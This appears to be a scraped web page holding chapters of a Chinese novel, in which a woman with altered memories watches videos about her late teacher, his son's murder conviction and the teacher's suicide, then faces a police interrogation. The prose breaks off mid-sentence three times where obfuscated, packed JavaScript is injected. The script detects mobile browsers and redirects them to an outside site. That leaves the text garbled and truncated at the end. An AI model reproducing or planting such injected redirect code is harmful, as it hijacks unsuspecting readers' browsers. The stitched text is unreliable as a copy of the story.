“他还坚持他那个狗屁理念,他就改变不到哪里去。”梁鸣停在门边,眸中闪着水光,惨笑道,“他可能到现在都以为,我会杀人是因为他当初的口不择言。可我只是不能接受,害死我妹妹的人,可以不用承担后果地活着。凭什么。”
·
视频播到这里就结束了。方清昼在下一条自动播放前点了暂停。
季和问:“怎么了?”
方清昼没头没尾地说了一句:“我昨天晚上遇到一个医生,我感觉我认识她。”
“你现在开始靠感觉了?也算是有进步。”季和笑了下,没问具体是谁,已不假思索地道,“她是三夭的工作人员,目前你的病情都由她负责。”
方清昼问:“我们关系好吗?”
季和又开始语焉不详:“谁知道呢。”
方清昼低垂着头,思绪里充斥着“为什么”。
无论是梁鸣,还是她的老师,她都没有任何印象。
她之前以为她跟老师之间的关系一般,没有过多少密切交流,她的记忆也确实是如此表示,所以她昨天会有那种生疏的感觉不算奇怪。如今看来不大准确。
季和催促道:“往后看吧。”
6.视频
下一个视频,拍摄地点是一处走廊。
男人半倚在窗边,额前半长的头发被风吹得凌乱。他眯起眼,往玻璃后稍稍躲了躲,从兜里摸出一盒烟,没抽出来,就那么拿在手上。
方清昼说:“你可以抽。”
“算了。”男人晃了晃烟盒,颇有些手忙脚乱,低头笑了下,说,“没想到现在还有人来问我这个问题。”
摄像头应该是别在方清昼的衣领上,让她的声音听起来比之前几次要清晰。
“我有点好奇,所以过来打扰,抱歉。”
男人不知道该从哪个头绪开始讲起,舌尖顶着后牙槽,思索无果,随意挑了个点切入:
“梁鸣不喜欢读书。他那个人性格跳脱,十分钟都坐不住。他爸爸是顶尖大学的教授,无法理解自己的孩子,为什么会连及格分都考不到,对他异常严厉,从来没什么好脸色。
“初中生嘛,什么都不服气,为了跟他爸对着干,梁鸣经常逃课。可能在家长跟老师的眼里,成绩代表了品行,梁鸣是个不学好的人。”
“跳楼的那个学生,我现在都不记得他叫什么了,就记得他姓杨,外号叫羊排,因为他特别瘦,身上还总有股酸臭味儿。
“那时候大家其实有察觉到他在被欺负。他的室友会说‘我们是开玩笑的’,把他的衣服、鞋子扔出宿舍,在教室里压着他打,让他帮忙跑腿、写作业,当着女生的面脱他裤子,反正是各种乱七八糟的事。他自己不说,其他人提醒过几次,也没办法。后来他室友变本加厉,开始抢他的钱。”
男人还是忍不住,抽出根烟,跟方清昼拉出些距离,咬在嘴里点了。
他探出窗外,在辽阔的风里深深吸了口气,再缓缓吐出。
“梁鸣除了不喜欢读书,什么都很好。他莽撞、幼稚、真诚,有许多在成年人看来,不怎么合格的特质。他知道那个学生自尊心强,没戳破他,经常在课间带着他一起去生活超市。梁鸣人缘好,家庭条件也不错,同学给他面子,在教室里会收敛一点。但梁鸣不可能永远管着他,加上初三压力大吧,想不开……总之,谁能预料到自己的同学会跳楼啊?人死了开始找原因,鬼才知道。”
男人嘴里含着白烟,肩膀耸动着讥诮发笑。
“学校翻监控,看见梁鸣跟他关系走得近,就把人叫去问话。羊排爸妈收到消息赶过来,看见梁鸣站在办公室里,不由分说地扑了上去,对着他就是打。老师担心出事,赶紧把梁叔叔也叫过来了。羊排的室友那时候才知道慌了,怕梁鸣把他们供出来,几个人对了下口供,决定先下手为强,一起跳出来把梁鸣给告了。啧……我想想。”
他说着话,燃尽的烟灰掉到他横放在窗台的手背上,烫得他一个激灵。
他在衣服上随意蹭了蹭,夹着烟走向垃圾桶,还在半路,颤抖的手已经把剩余的烟灰给抖落了。灰烬在空中一片片飘着。
“他们说,梁鸣出去上网把钱花完了,就会让羊排请他吃饭。不想写作业,就让羊排帮他抄。各种有鼻子有眼的,梁鸣还没否认,梁叔叔就信了,觉得是他儿子能做出来的事。”
“当时现场特别乱,吵的、骂的、哭的、劝的,楼板都要掀翻了。”男人靠在身后的白墙上,艰涩嘶哑地问,“你见过你们老师生气的样子吗?”
方清昼摇头。她认识的梁老师从来是慈眉善目的。
“非常可怕。一米八五的成年男性,脸红脖子粗地指着你的鼻子吼叫,说是凶神恶煞也不为过,我当时在门外看,也被他的气势震住了。怀疑他恨不得一巴掌拍飞了我。
“梁鸣是什么人?话赶话地上了火,一时嘴快,说‘就是他做的怎么了,有本事你打死我。’,之类的话。梁鸣他爸当他承认了,主动表示愿意赔偿两百万。呵,两百万。他这话一说,什么都完了。”
方清昼不解道:“梁鸣不否认吗?”
男人意味深长地看着她笑:“你知道对于一个务农家庭来说,两百万意味着什么吗?意味着他父母可以不在意,究竟是谁逼死了他们的儿子。”
男人喉咙发干,乏味地摇头:“我估计当时羊排他妈妈可能已经猜到凶手不是梁鸣了,抱着梁鸣哭得特别凄厉,披头散发地把脸埋在他胸口,哭诉说她以后还有一个小儿子要养,他丈夫已经老了,下半辈子该怎么办。然后直接给他跪下了。你完全可以当成是一个母亲最卑微的祈求。”
他站在门外,看梁鸣的手紧紧攥着,脖颈和手背上的青筋如同一条条青色的根须,索命似地勒住他的躯壳。
那种绝望中带着可笑的扭曲表情,时至今日依旧让他觉得触目惊心。
“一念之差吧,他认下来了。”
哪怕梁鸣当时悲愤得将牙都快咬碎了。
男人喉结滚动着,嘶哑难闻:“太吵了。”
不知道是现场连成汪洋的哭喊,还是好友未能出口的冤屈,亦或者是自己迷惘下的沉默。
所有的碎片互相推动,掀起了一场漫长的、无法停歇的风暴,肆虐在往后二十多年里每一个深寂的夜晚。
方清昼问:“梁鸣跟他妹妹关系好吗?”
男人夹着烟,石化般定在原地,陷入另一场凄楚的回忆里,清了清嗓子说:“好。当时他妹妹还在上小学呢,看起来挺乖的,对梁鸣有种盲目的崇拜,觉得他除了读书什么都会,整天吱哇乱叫地跟在梁鸣后头,跟个狗皮膏药一样,梁鸣甩都甩不掉,有点零花钱全炫她嘴里了。”
方清昼:“这样……”
“梁鸣会杀人,是我没想到的。我以为以他的性格,一切都可以重新开始……”男人按着眉心,“听说他妹妹死了。”
“是的。”
“他爸还在搞什么删除记忆的研究?”
“是。”
儿子入狱之后,【异常测定】这个项目几乎成了他的执念。他奔波着想要拯救跟梁鸣有相似境遇的可怜人,哪怕不能让他们迷途知返,起码可以彻底阻断通往地狱的绝路。
后半生他只能依靠这份虚构的幻想来生存。哪怕这段关于未来的梦境实际称不上美好。
男人带着点外露的愤怒,说:“太荒唐了。他想弥补什么?”
一根烟的时间到了。
男人摁灭烟头,所有的动容跟感慨,都被压回到忙碌的日常外,说:“我要回去上班了。”
“好的,谢谢。”
·
方清昼倒回最后几秒,又听了两遍,嘟囔道:“声音有点奇怪。”
季和说:“是吗?”
方清昼自言自语地说:“跟我的不大一样。”
更清脆,更有穿透性一点。
虽然每个人听到的自己说话的声音,与音频中的声音,存在较大的差距,方清昼还是觉得有些异样。
她点击播放下一个。
还是一个采访视频。
背景是一排齐整的工位。
“哦……梁鸣啊。”男人从电脑屏幕前抬起头,推了推眼镜,啧啧道,“太倒霉了,被个疯子缠上了。”
方清昼坐在他对面的工位上:“怎么说?”
“那就是个人渣,自己没拿到的offer梁鸣拿到了,喜欢的女生说喜欢梁鸣,他就觉得是梁鸣抢了他的。什么玩意啊?真不看看他们脸的差距吗?梁鸣朋友多,那货本来还算安分,顶多跟鬼一样在背后盯着,后来不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258321|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道从哪里听说梁鸣初中时候逼死过人,跟抓着他命门一样,到处说梁鸣杀人。梁鸣没搭理,他举报梁鸣论文抄袭。这不纯纯一癫货吗?”
男人拧开边上的水,猛灌两口,一面滑动鼠标检查文档,一面给她讲述:“我们两人是同一个导师,导师跟他爸认识,对他特别关照,手把手带着他写的论文。我看着他一版版改出来的,抄袭根本是子虚乌有的事。”
边上一同事坐在椅子上用脚一蹬,丝滑地飘入镜头,趴到桌上竖起耳朵。
青年提及旧事仍觉得匪夷所思,停下手上工作,跟两人讨论道:“我不理解的是他爸。跑到学校来不先找他儿子,先找了那个人渣,开口直接给对方道歉,把简单的事情给搞砸了。不过梁鸣我是真佩服他,换我,我怎么也得来一场家庭内部战争,他心如止水地接受了。”
同事比方清昼要捧场,由衷钦佩地“哇”了一声。
“不过他跟他爸关系一直不好。他上大学的时候说过不会用家里给的生活费,自己出去打工挣钱。他那双手一年四季都是烂的,不是冻疮就是湿疹。如果他没坐牢,就他这意志力,干什么没出息?”
青年说到这里,也是义愤填膺,拍了下桌子,唾沫星子四溅地骂道:“那畜生也是真畜生,我以为他顶多是手段下作一点,没想到他能把一小姑娘,三更半夜地扔到荒郊野外,结果人死了,还一口一个自己不是故意的,这是人类能做出来的事情吗?”
同事愕然骂道:“靠!禽兽啊!”
“梁鸣他妹妹特意跑过来跟他爸吵架。看得出来他们兄妹俩感情真的好。她又是因为梁鸣的缘故才摊上的那祸害,梁鸣怎么可能不把责任往自己身上揽?”
青年说到这儿也是百感交集,摘下眼睛拿衣角擦拭,不停长吁短叹。
“说真的,那天我看到他的眼神,我就知道,这事儿不可能有好结果。我跟几个同学一起劝他,他一句话都不说。他爸还在那边迁怒、骂他。他爸有什么立场骂他?等了一个多星期,警察那边没出结果,他就去动手了。当天晚上给我们打了个电话,告诉我们他的银行卡密码,让他们帮他跟宿舍里的其它东西一起捐了。第二天早上去了派出所自首。我们学院的学生还自发签名,想给他说情来着。”
同事听罢五味杂陈,心里万般不是滋味,惋惜地道:“不值得啊,太不值得了。再怎么样也不要杀人吧,把自己一辈子都折进去了。”
青年感叹:“说什么都晚了。我们也没办法感同身受。”
他转过头:“话说你要来我们公司吗?我给你内推。我们五五。”
方清昼:“……不用了。谢谢。”
·
视频结束,自动切换到下一个。
这次是一个监控视频。看布局是梁老师的书房。
“你来啦。”梁老师放下手里的文件,慈和笑道,“有段时间没见你了,最近工作忙吗?”
与第一个视频里的形象相比,老人完全换了一个模样。瘦得只剩下一副骨架,两鬓斑白,白发稀疏。
如果不是画面中的方清昼基本没什么变化,很难相信时光在他脸上是如此的不宽容。
梁老师请她坐下后,给她递来一份文件:“这个孩子的新闻你可能看过,她在新闻里的化名叫作孙青青,其实她本名叫沈知阳。”
方清昼没接,只是用澄明的目光看着他。
梁老师的手倔强地悬在半空,逐渐坚持不住,开始剧烈晃动。
方清昼于心不忍,还是拿了过来。
“我知道你想说什么,我都知道。”老者浑浊的眼珠透着苦涩的苍凉,假装忙碌地整理着书桌,“这个孩子不一样。”
7.作品
病房内,方清昼听到沈知阳这个名字的刹那,心脏霎时漏跳了一拍,手指也痉挛似地抽跳了起来。
视频里的老者已经自顾着介绍起沈知阳的情况。
“她被一个律师绑架。从警方把她救出来,到现在差不多三年了,三年里她的治疗不见成效,他父母不想继续照顾她,决定将她安置到精神病院。可是她的情况完全不适合精神病院。药物介入只能让她保持暂时的安静。而且普通的医院根本不敢招收她,价格高昂的他们又不考虑,我去实地考察了他父母给她安排的三家医院……就在你手上这份文件的最后两页……我认为那不亚于是对她后半生的死刑。”
文件内容不长,方清昼一目十行,在他解说结束前已经看完了整份资料,将文件夹放回到桌上。
她两手交握摆在腿上,坐姿端正,随着低头的动作垂下几缕柔顺黑亮的发丝,贴着她的侧脸,衬得她皮肤白皙得惊人:“老师,这么多年过去,您还是觉得,错的人是梁鸣吗?您还觉得他是需要被修正的一个异常?”
梁老师嘴唇翕动,呼吸连同表情都有明显的失控,稍作停顿,佯装没有听见,逃避着方清昼的视线接着道:“她父母在她失踪后又生了两个小孩,一个儿子和一个女儿,他们本来已经走出了那段阴影,沈知阳回来得太不是时候。她父母试图强行扭正她的行为,让她恢复正常,结果弄巧成拙,诱发了她的暴力倾向,她在家里面打伤了她的弟弟,砸了电视跟不少电器。她父母心力交瘁,忍受不了巨大的精神压力跟经济压力,决定彻底放弃她。可是她才十六岁,什么都没做错,不该就这样结束她的人生。”
方清昼张开嘴,欲言又止,几经犹豫,还是轻轻摇了下头:“对不起,老师。我推崇秩序的魅力,维护规则的运行,而这不符合我的规则。”
梁老师颤颤巍巍地捂住胸口,过于宽大的衬衫袖口顺势滑下,露出一截瘦骨嶙峋的手腕,嗓音粗粝得犹如滚过刀沙,延迟地回答了她上一个问题:“清昼,我只是,从最私心的父亲的角度,希望他不是一个杀人犯。对跟错我没有资格去评判,我也是个刽子手。痛苦是会激化的,让人变得极端。如果没有我冤枉他的事,他绝对不会走到那一步。”
方清昼给他抽了一张纸巾递过去,叹息着道:“老师,当年那场霸凌从来没有结束。他的固执,不是想要撼动您的权威,而您的偏见,一直在否认他的辩诉。他不是看书的读者,需要一页页翻阅您给他写好的篇章,他是写书的人,他有自己的意志。您不信任他,他也有权力不认同您。”
老人泪水决堤,用纸巾胡乱擦拭脸上的水光,衰弱的脊背被情绪冲垮,弯曲着从衣服下透出一节节的痕迹。
他一手撑着额头,一手抵着木制扶手,半趴在桌子上,从喉咙里挤出粗糙得难以听清的声音:
“这几年我都在反省,我们父子两个人,是怎么变成这种不共戴天的仇视关系?想起很多已经不记得的事。”
“梁鸣刚出生的时候很闹腾,非要人抱,不抱就哭。跟个粘人精一样。我工作忙碌,陪他的时间不多,每次见面,他都会兴奋地缠着我给他讲故事,虽然他听不懂,可他喜欢躺在我怀里睡觉。”
“从他上学开始,一切都变了。他不喜欢学习,说讨厌他的老师。我辅导他写作业,他不停开小差,嘻嘻哈哈地无视我,花两个小时还写不完一面数学题。我感到不可理喻,控制不住自己的脾气,朝着他吼叫,责骂他顽劣,逼迫他服从。他看我的眼神受伤又失望,变得不再喜欢我。我没当一回事。”
方清昼的童年没有什么跟父母相处的温情画面,无法代入,无法评价。不过她能感受到这位辉煌半生的师长此刻的无助跟软弱。
宛如一个孤独的人终于找到了优秀的听众,他将多年来深藏肺腑恐人窥视的想法逐一掏了出来。
“等我想要补救已经晚了,上了初中后,梁鸣特别讨厌我。我走到他身后,什么都没说,他已经露出厌恶不耐的表情。我问他吃不吃水果,他也要语气很冲地说我很烦,单方面对我实施冷战。我不理解他为什么要跟我赌气,认为他太骄纵。我们两个针尖对麦芒,谁也不肯让步。”
“我问过我的同事,他说在叛逆期少年的眼里,父亲的存在就像闷汗十天没洗的袜子,连呼吸都是错误的。这种是生理性厌恶,没有办法,让我试着主动跟儿子保持距离。我觉得有道理,有很长一段时间,我们都当对方是家里的透明人,没有说过一句话。现在回头想想,明明是场两败俱伤的比赛,为什么我们要那么坚持?。”
老人沉浸在感伤的回忆中,眼泪糊得睁不开眼,在寒意的包裹中不断抖动着。
“我对他有误解,因为他在我面前表现出来的就是情绪不稳定的样子。当有人说他逼死同学的时候,我方寸大乱。其实我不应该那么疯狂地逼问他,让他违心地说了假话。可是我无法冷静思考,分辨不出他是在跟我怄气还是确有其事,何况人已经死了,哪怕没有确凿的证据,口诛笔伐就足够定罪。我不敢承担风险,我自作主张,把他送走了。
“我认为这是成年人的处理方式,避免今后再出现隐晦。可他从此以后再不接我的电话、不收我的钱。我妻子努力从中调和,他置之不理。他不愿意认我这个父亲了。他遗传了我的偏执。”
他急促地喘着气,仿佛被什么压住了咽喉。
“研究生那时候,我朋友,他的导师,私下打电话给我,说梁鸣境况不佳,初中的事被人发现了,在校外与人发生纠纷,让我找个律师,做好准备。
“我问是谁动的手,他说监控没有录到声音,但看画面确实是梁鸣先动手的。舆论声音闹大的话,学校这边也不得不顾虑。总之有点糟糕。最严重的情况可能会连累他毕不了业。
“我很担心。我跟不少人有利益冲突,怕对手知道后借题发挥,导致事态严峻。我赶紧给梁鸣打电话,但是他不回复我的消息。我过去是想要解决问题的,不是不信任他。结果对方偷偷录音,还剪辑编造了事实。我没面对过那么大胆又恶毒的学生,一时间措手不及。我去找梁鸣解释,他不听我的,只对着我冷笑。那个时候我们已经不能正常对话了。”
他捂住脸,痛不欲生地哭道:“啴啴的死我不能接受。我抱着她,整个人魂都飞走了。梁鸣过来拉我,让我不要碰她。我一下受了刺激,所以发疯,对他说了冲动迁怒的话。我当时不敢深想,我最害怕的是,是我自己害死了我的女儿,你明白吗?有哪个父亲会推动自己儿子去杀人?”
“我失去了一个女儿,又把我儿子送进了监狱……其实需要宽恕的人是我。除了自欺欺人,我还有什么活着的办法?”
方清昼走到他身后,将手放在他肩膀上,笨拙地试图安慰。
老人深陷在椅子里,如同一株腐烂的植物。
悔恨是他的枯枝败叶,而痛苦是他的根须。安慰已经救不了他,他浑身上下写满了渴求解脱的死意。
久蓄的情感从狭小的口子爆发,哭声像把利刃,在空中盘旋了许久才落到地上,将人割得支离破碎。
梁老师推开方清昼的手,抹了把脸,露出一双被眼泪浸润得通红的眼睛,牵强地扯个比哭还难看的笑容,问:“我是不是个冥顽不灵的老古董?”
方清昼避重就轻地说:“您是个声望卓著的好老师。”
梁老师收拾好狼藉的情绪,抽了抽鼻子,吐息不大平顺地问:“清昼,你能不能,不要因为我的缘故,全盘否定【异常测定】这个项目?这世上真的有需要它的人。”
方清昼退开一步,走回到他对面的位置,没有回答。
“好吧。”梁老师已掩饰不了任何的情绪,怅然若失地擦了下眼角,强打起精神道,“谢谢你今天听我说话,其实我叫你来没什么事,只是想再见你一面。”
方清昼抬眸深深看着他,惴惴不安地问:“老师,你没事吧?”
梁老师笑说:“我没事,我很好。梁鸣终于答应见我了,明天我去看他。希望我们这次不会吵架。”
方清昼于是也有些高兴,真诚给他建议说:“他是关心你的。如果他刚见面就跟你吵,你可以小小地给他哭一下。他认为自己安慰人的手段非常高。”
梁老师失笑,但被她的条件诱惑住,还真考虑了下,随后愁眉苦脸地道:“操作难度太大了。”
二人又聊了两句,梁老师说他后面还有客人,方清昼礼貌告辞。
梁老师起身送到她门口。
在最后的分别时刻,还是忍不住开口问:“清昼,那要怎么做才符合你的规则?如果她从三夭大楼的顶层纵身跳下去,符合规则吗?如果她继续腐朽的人生,只能跟条狗一样被关在狭小的房间里,符合规则吗?让人能成为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264780|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个人,为什么不符合你的规则?”
画面中,方清昼在门口的位置停下了脚步,大抵是被最后一句话打动。她握着门把手转动了两下,最后还是没能下定决心,朝师长浅浅鞠躬,掩上门离开。
那轻轻的关门声,跨越时空叩在了如今的方清昼心上。
一个正常人,是不会这样高频率地重复别人的观点。
除非那是既定的文本。
……她是别人的作品。
她抬手去摸自己的脸,才发觉自己的右手在剧烈地颤抖。
她不喜欢暴露自己的脆弱,收紧五指,藏到了桌子下面,挺拔着腰背,一瞬不瞬的盯着屏幕。
·
最后一个文件不是视频,而是一段通话记录。
“学姐,你听说了吗?”
方清昼问:“什么事?”
对面的人呛出哭声:“梁老师出事了,他自杀了。”
“……”
“学姐?”
“我在。什么时候的事?”
“就在刚才。昨天老师叫了好几个同学去他的书房谈话,当时大家就感觉有点不对劲。今天早上,我们去上课的时候碰到他,还跟他打了招呼。他说他要去见他儿子,问我们他的新衣服好不好看,看起来心情非常好。下午学校那边就接到消息……说老师人不在了。”
“……”
“师娘说老师去年体检的结果不乐观,一直在接受保守治疗,可惜效果微弱。他今年一年瘦了三十多斤,不想留在医院,到时候走得太狼狈,所以悄悄做了准备……最近,什么都特别顺利,所以选了今天离开,让我们不要难过。可是……”
“……”
“学姐,学姐你没事吧?”
“……我在听。”
“老师留了些遗物,里面有给你的东西。你要过来看一眼吗?”
“好,我现在过来。”
·
后续的发展不难猜测。
方清昼木然坐着,消化各种杂乱的信息。
季和把电脑拉回到自己面前,打破沉默:“孙青青,也就是沈知阳,她的事是你老师的遗愿。他离世之后,整个团队濒临解散,你或许是出于怀念,亦或是为了感激,最终委托三夭出面投资,接手了这个项目。之后才是你知道的事。”
方清昼恍若未闻,兀自分析道:“我的认知冲突绝大多数源于昨天那场讲座,以及书房的这段谈话。说明删改我记忆的人看过这两则视频,并用它干扰了我的记忆。”
季和坐姿散漫,打了个响指表示肯定。
“最早的那段是公开的讲座,有视频存档的范围无法排查。但是刚才的那一段,来源于梁老师的书房监控,能拿到的人不会很多。顺着摸排,应该能找到相应的嫌疑人。”
方清昼扭过头,脸色白得瘆人,语气生冷地问:“是谁?”
季和说:“很遗憾。梁先生自杀后,被叫去过他书房谈话的学生表示想再看一遍监控,他妻子就把视频发到了群里。群文件一共被下载过26次。我们按照下载记录逐一询问,没能找到可疑目标。不排除有人外传后不承认,也不排除对方像你一样,根本不记得了。”
方清昼没什么波动地说:“不排除视频是假的。”
“你可以查,逐祯地查。你刚才不是怀疑声音有问题吗?你可以随意查音频音轨,看我是不是在骗你。”季和痛快地回应,体贴地道,“如果你忘了这项技术,我还能找人教你。”
方清昼深黑的眼眸有种玻璃质感的阴冷,防备的姿态明晃晃地冒着尖刺,说:“就算你们说的是真话,不代表你们是朋友。”
季和早有准备地从口袋里摸出警官证、身份证,甚至连驾驶证都掏出来了,逐一翻开排列在桌子上,示意她检查。
“我们是人民公仆。”她说这话的时候,抑扬顿挫,真心实意,“之前不给你出示,是因为你看了也不会相信,还可能把我的证件给掰了。”
方清昼死板地道:“我不相信。”
她现在对所有的一切都充满怀疑。现实是个巨大的谎言。
方清昼强硬地说:“除非让我见周随容。”
季和被逗笑了,嘲弄道:“方清昼,以你现在的状态,有什么资格跟我谈条件?我帮你恢复回忆,是因为你杀了人,不是因为你是我祖宗。”
8.真实
方清昼对她的奚落不为所动,摆在明面上的态度只剩下油盐不进的执拗。
季和的眼神宛如在看一个负隅顽抗的残兵,无奈地说:“周随容也可能是假的呢?”
方清昼说:“我相信他的真实。”
季和并指在电脑的触控板上一滑,屏幕亮着荧光,切换成一个男人的照片。
方清昼眼尾的余光瞥见,瞳孔竟猛地收缩,大脑还没反应,身体已带着椅子朝后退去。
地板跟木椅摩擦发出刺耳的尖啸,她在心有余悸的冷颤中站了起来。
季和见状,不急不缓地拧开瓶盖喝了口水。
对面瞪着铜铃大眼的青年暗戳戳挪动过来,搭着桌沿,伸长了脖子偷瞄屏幕。
照片里的男人长相斯文周正,戴着半框眼睛,有股沉稳的书生气。只是双目无神,细看之下会有种阴沉的观感。
青年旋即将目光投向方清昼。
他的情绪直白且粗浅,不设防备的情况下几乎是明晃晃地挂在脸上。此刻他对方清昼呈现出如此激烈反应的表现并未感到诧异,而是有些微的忧虑。
两人彼此观察,各自从对方的瞳孔中看出了一丝紧张。
青年莫名心虚地别开脸。
方清昼气势跌落,语气中带着自己都未察觉的害怕:“他是谁?”
“吕坚承——当初绑架沈知阳的犯人。不然还能是谁?我已经跟你提过两遍了。以你的智商,为什么要询问这种没用的问题?”
季和不动声色地收起桌上电脑,塞进青年怀里,反手推着他站到自己身后,以便保护单位的宝贵财产。
“我们找到了第一案发现场,附近遗留了大量的血迹,从出血量来看,吕坚承已经死了,但是尸体被你带走了。”
方清昼的声线紧绷到有些破音:“我不知道你在说什么!”
季和推开椅子,长腿一迈站到她跟前,不容反抗地抓起她的手腕,让她看着自己掌心的伤口,说:“你不擅长杀人,现场留下了太多的证据,连凶器都在附近的厕所垃圾桶里被我们翻出来了,上面检测出了你的DNA。”
季和站直之后比方清昼要高出小半个头,眉眼低压,从近处盯视着她,身上便释放出黑云压城般让人无所遁形的威厉。
她大发慈悲似地给出了个交换条件:“你告诉我尸体的下落,我告诉你周随容的下落。”
方清昼将手抽回来,恼怒道:“我说了我不知道!”
下一刻,季和毫无征兆地抛下一句石破天惊的话:“周随容自杀了。”
方清昼犹如被拍下定格的按钮,连同周边的空气一同凝固当场,脸上的血色在窒息的错觉中迅速消退,从骨髓深处蔓延出极度的恐惧。
季和俯视着方清昼飞速变幻的脸色,侧步靠坐在桌上,脊背微微弯曲,平铺直叙地说:“他是比你更早的受害人。在他察觉自己意识不清的时候,选择给了自己一刀。”
方清昼大脑飞速运转,悍戾的眼神仿佛要将季和所有虚伪的表象一层层剥开,嘴唇嚅嗫着道:“不可能。我在酒店的时候,给自己写了几条提醒,根据上面的记录,8月24日我入住酒店,次日出了一趟门,但是到27号的时候,我才特别标注,无法联系周随容,说明在那之前我应该没有跟他断开联系。他是在26号才失踪的。”
季和面露新奇,由衷地问:“为什么你总是在我不理解的地方,脑力格外的发达?”
她两手环胸,抬高下巴,以一种气定神闲的姿态道:“你确定你去见的是周随容吗?你连自己为什么留在酒店都不知道。你只是在贫瘠又错乱的信息中推导出了一条没有前因后果的逻辑链,至于这个逻辑是你自己产生的,还是别人给你设定的,你能保证吗?”
方清昼哑口无言,被季和的眸光锁定,又想后退,脚步抬起一顿,才发现自己不知何时已经抵到了墙。
她将手指也紧贴住墙面,仿佛能以此获取安全感。指尖在摸索中停在了几道毛糙的划痕上,她不由自主地低下头看。
房间四面是通体环绕的白墙,会做定期维护,她手指碰触到的一块墙面与边上有着略为明显的色差。
这块粉刷时被特意避开的陈旧墙皮上,留着一个用指甲抠出的图案——是张一共只有四笔的笑脸。
“你为什么一直想见周随容?”
季和近在咫尺的声音惊得方清昼寒毛直立。她打了个哆嗦,用手肘将人隔开。
“你见到他之后打算做什么?是有人给你下过这样的暗示吗?他是为你稳固认知设定的锚点?”季和浑然不在意她的拒绝,按下他的手发出一连串的追问,“是因为爱,还是因为直觉?你到现在还相信所谓的直觉?”
方清昼反唇相讥:“难道你认为自己值得信任吗?”
“方清昼不会有这样任性的提问。她可以刨除主观,得出结论。”季和说,“我不想逼疯你,但你也该意识到了。如果根据题目罗列出所有的可能,全部不是正确答案,就说明是题干出了错。你既然无法通过你的大脑来判断,那唯一值得相信的,是你身体的条件反射。”
季和眼中涌动着难以言说的暗流,如同每一次带着试探却又谨慎的休止,隐晦地发问:“我们刚见面的时候就问过你——你真的知道你的名字吗?”
方清昼如坠冰窖,四肢发凉,微微后仰,一般的重量都依靠墙面支撑。
头疼的症状没有如预期般降临,但是这并未给她带来如释重负的感觉。
季和这一次对她的撼动比以往更严重。她开始自救式地回忆周随容,以求证实自己的真实性。
她想她跟周随容认识十一年,从周随容上大学开始结识。在那之前,其实也曾不经意地见过几面。
她不好接近,懒于社交,缺乏正常人冲动跟情绪,连父母也无法忍受,认为她太过不近人情。时常一句话让场面冷却,给别人难堪。
她对未来没什么期许,父母离婚之后,也没什么人会期待她的未来。是社会规则支撑起她的日常生活,告诉她她应该读书、应该工作、应该交朋友,这些是正常人的行为,她可以参照。
她觉得稳定的规则没什么不好,哪怕它只是一个框架,起码可以撑起一个人形。
她就像一副干枯的骨架,游荡着寻找新的血肉。可那些只是装饰……
……不。
不对。
方清昼感觉自己的思维被人撕裂,潜藏在深处的记忆正卡在那道深黑的裂缝中,一点点地往外钻。
不对,最后那句话是别人说给她听的。
她又惊又惧,逃避地跳过这段,大脑自发地读取后面的内容。
周随容读研三那年,基本看不见人影。参加完三夭的青年大赛,又为了毕业去向忙得焦头烂额。
到了春节前夕,方清昼意料外的在三夭大楼的前厅遇到他,他拿着手机站在门口像是等什么人。
他穿着灰色的羊毛衫,手臂上挂着外套,可能是有些热,站在了靠近门口会被风吹到的位置。他醒目得像是浑身散发着明黄的光晕,周围有不少人的目光都停在他身上。
方清昼跟他打了声招呼,还没询问他之后的安排,周随容披上外套,走到她前面给她推开门,跟她一起出来。
两人并肩在街上走了一段,方清昼后知后觉地明白过来,思索一番,自认为高情商地问:“你工作的问题解决了吗?需不需要我伸出援手?”
“你的手一点也不圆。”周随容自然地捏了捏她的手指跟掌心,然后握住,“不过很软,也很暖和。”
说着非常顺其自然地牵着她的手,捎进自己的口袋。
方清昼侧着脸看了他片刻,提醒:“偷东西违法。”
周随容绷不住笑了,眉梢眼底都是热烈的欢欣跟喜爱,凑过去亲了她一下,温声问:“那偷亲呢?”
方清昼严肃地说:“更严重了,罪加一等。”
周随容忍着笑,很是忧愁地求情:“那怎么办啊?我可以私了吗?不过我只是个学生,没存多少钱。”
方清昼公正地宣判:“赔偿吧。”
周随容勉为其难地说:“我卖身吧。我还挺值钱的。方老板,可以找零吗?”
于是周随容顺理成章地加入了她的新团队。
周随容有着与她截然不同的明朗,有着堪称天赋的讨人喜欢的生动。
对她伸出感知的触角,将她的冷漠疏离转换成不善言辞,适时地替她回答,为她解释,让她同样变得鲜活,叫身边的朋友跟她相处多年,从未察觉到她是个多古怪的人。
……
他们有许多真实的故事。
……
确切的、温热的。
……
他们都在对方的生活里刻下过沉重的印记。
……
不。
不是的。
方清昼冷汗涔涔而下,有种锥心刺骨的绝望,连舌根都在麻痹似地颤抖,发不出任何声音,短促的呼吸声化成她痛苦的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 